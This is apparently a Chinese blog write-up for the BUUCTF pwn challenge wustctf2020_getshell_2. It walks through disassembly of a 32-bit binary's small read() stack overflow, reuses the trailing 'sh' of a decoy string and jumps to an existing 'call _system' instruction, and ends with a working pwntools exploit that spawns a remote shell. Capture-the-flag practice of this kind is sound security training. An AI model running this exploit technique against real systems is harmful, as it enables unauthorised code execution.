BUUCTF-wustctf2020_getshell_2

BUUCTF-wustctf2020_getshell_2

一、题目来源

BUUCTF-Pwn-wustctf2020_getshell_2

二、信息搜集

通过 file 命令查看文件类型:

image

通过 checksec 命令查看文件采用的保护措施:

image

三、反汇编文件开始分析

main 函数中调用了 vulnerable 函数,点进去查看逻辑:

.text:08048582                                   public vulnerable
.text:08048582                                   vulnerable proc near                    ; CODE XREF: main+16↓p
.text:08048582
.text:08048582                                   buf= byte ptr -18h
.text:08048582
.text:08048582                                   ; __unwind {
.text:08048582 000 55                            push    ebp
.text:08048583 004 89 E5                         mov     ebp, esp
.text:08048585 004 83 EC 18                      sub     esp, 18h
.text:08048588 01C 83 EC 04                      sub     esp, 4
.text:0804858B 020 6A 24                         push    24h ; '$'                       ; nbytes
.text:0804858D 024 8D 45 E8                      lea     eax, [ebp+buf]
.text:08048590 024 50                            push    eax                             ; buf
.text:08048591 028 6A 00                         push    0                               ; fd
.text:08048593 02C E8 18 FE FF FF                call    _read
.text:08048593
.text:08048598 02C 83 C4 10                      add     esp, 10h
.text:0804859B 01C 90                            nop
.text:0804859C 01C C9                            leave
.text:0804859D 000 C3                            retn
.text:0804859D                                   ; } // starts at 8048582
.text:0804859D
.text:0804859D                                   vulnerable endp

不难发现,read 存在溢出的现象,但是溢出的长度并不多,除去无效 padding 部分,有效 payload 只能占 8 字节。

我们再注意到 .text 段中存在一个名为 shell 的函数,其代码:

.text:0804851B                                   public shell
.text:0804851B                                   shell proc near
.text:0804851B                                   ; __unwind {
.text:0804851B 000 55                            push    ebp
.text:0804851C 004 89 E5                         mov     ebp, esp
.text:0804851E 004 83 EC 08                      sub     esp, 8
.text:08048521 00C 83 EC 0C                      sub     esp, 0Ch
.text:08048524 018 68 50 86 04 08                push    offset command                  ; "/bbbbbbbbin_what_the_f?ck__--??/sh"
.text:08048529 01C E8 B2 FE FF FF                call    _system
.text:08048529
.text:0804852E 01C 83 C4 10                      add     esp, 10h
.text:08048531 00C 90                            nop
.text:08048532 00C C9                            leave
.text:08048533 000 C3                            retn
.text:08048533                                   ; } // starts at 804851B
.text:08048533
.text:08048533                                   shell endp

虽说其调用了 system 函数,但是其参数明显是来捣乱的。

但是,我们同时可以注意到,"sh"字符处于"/bbbbbbbbin_what_the_f?ck__--??/sh"这一长串字符的末尾部分,那么我们就可以采取“字符串劫持”的手段来提取字符"sh",若服务器端将"sh"放在环境变量中,我们依然可以实现 getshell。

.rodata:08048650 2F 62 62 62 62 62 62 62 62 69     command db '/bbbbbbbbin_what_the_f?ck__--??/sh',0

明显,我们的字符串 b'sh\x00' 所在的位置是 0x08048670

四、Poc 构造

我们不能直接使用 system@plt 地址来构造我们的 ROP。

原因很简单,我们的有效 ROP 只允许我们添加两个 gadget,但是若要在 32 位CPU架构的计算机中正常调用 system 需要 3 个 gadget 即:

padding + system + fake_ret + arg1

但是,好在 shell 函数提供了新的思路给我们。

我们不一定要“自己构造 ROP 来实现函数调用”,我们可以直接用 shell 中的 call 来实现函数调用,只需要将地址定位在 0x08048529,即:

.text:08048529 01C E8 B2 FE FF FF                call    _system

从这开始运行,即CPU 默认你在栈上已经准备好了 system 所需要的参数。根据栈溢出,我们很容易实现在栈上准备好这个“参数”。

因此,最终 Poc:

from pwn import *

context(arch="i386",os="linux",log_level="debug")

# p = process("./pwn")
elf = ELF("./pwn")
p = remote("node5.buuoj.cn",25151)

padding = 0x1c
system = 0x08048529
sh = 0x08048670

payload = b'A'*padding + p32(system) + p32(sh)

p.send(payload)

p.interactive()

运行:

image

成功拿下 Flag!

posted @ 2025-11-09 20:43  YouDiscovered1t  阅读(9)  评论(0)    收藏  举报